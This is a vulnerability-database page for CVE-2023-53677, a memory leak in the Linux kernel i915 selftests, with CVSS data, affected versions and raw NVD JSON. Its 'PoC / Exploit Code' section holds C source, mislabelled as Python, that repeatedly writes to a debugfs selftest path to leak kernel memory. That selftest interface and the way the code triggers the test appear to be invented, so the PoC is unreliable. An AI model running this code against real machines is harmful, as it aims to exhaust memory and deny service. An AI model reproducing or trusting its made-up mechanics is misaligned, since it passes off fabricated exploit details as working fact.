Security Vulnerability Report
中文
CVE-2023-53677 CVSS 5.5 MEDIUM

CVE-2023-53677

Published: 2025-10-07 16:15:52
Last Modified: 2026-02-26 23:15:22
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: drm/i915: Fix memory leaks in i915 selftests This patch fixes memory leaks on error escapes in function fake_get_pages (cherry picked from commit 8bfbdadce85c4c51689da10f39c805a7106d4567)

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux kernel < 596d7308e189a3230bf33d667b64acc73846c2d0(稳定版修复)
Linux kernel < 803033c148f754f32da1b93926c49c22731ec485(稳定版修复)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2023-53677: Linux kernel i915 selftests memory leak // This PoC demonstrates how to trigger the memory leak in fake_get_pages // by repeatedly invoking the i915 selftest that exercises fake_get_pages. // // Note: This requires access to a system with i915 GPU and the ability to // trigger kernel selftests (e.g., via debugfs or module parameters). #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define I915_SELFTEST_PATH "/sys/kernel/debug/dri/0/i915_selftest" #define FAKE_GET_PAGES_TEST "mock_request" /* * Trigger the fake_get_pages selftest repeatedly to cause memory leak. * Each failed invocation leaks memory that was allocated but not freed * on the error escape path in fake_get_pages(). */ int trigger_memory_leak(int iterations) { int fd; char buf[256]; int i; printf("CVE-2023-53677 PoC: Triggering i915 fake_get_pages memory leak\n"); printf("Iterations: %d\n", iterations); fd = open(I915_SELFTEST_PATH, O_WRONLY); if (fd < 0) { perror("Failed to open i915 selftest interface"); printf("Note: Requires root privileges and i915 driver loaded\n"); return -1; } for (i = 0; i < iterations; i++) { /* Trigger the mock_request selftest which exercises fake_get_pages */ snprintf(buf, sizeof(buf), "%s\n", FAKE_GET_PAGES_TEST); if (write(fd, buf, strlen(buf)) < 0) { perror("Failed to trigger selftest"); break; } if (i % 100 == 0) { printf("Iteration %d/%d completed\n", i, iterations); } } close(fd); printf("Memory leak trigger completed. Monitor memory usage with 'free -m'\n"); return 0; } int main(int argc, char *argv[]) { int iterations = 1000; if (argc > 1) { iterations = atoi(argv[1]); } return trigger_memory_leak(iterations); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53677", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:51.787", "lastModified": "2026-02-26T23:15:21.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915: Fix memory leaks in i915 selftests\n\nThis patch fixes memory leaks on error escapes in function fake_get_pages\n\n(cherry picked from commit 8bfbdadce85c4c51689da10f39c805a7106d4567)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3", "versionEndExcluding": "6.3.2", "matchCriteriaId": "38F6F330-91A0-4675-8B90-6F950471A7CC"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/596d7308e189a3230bf33d667b64acc73846c2d0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/803033c148f754f32da1b93926c49c22731ec485", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}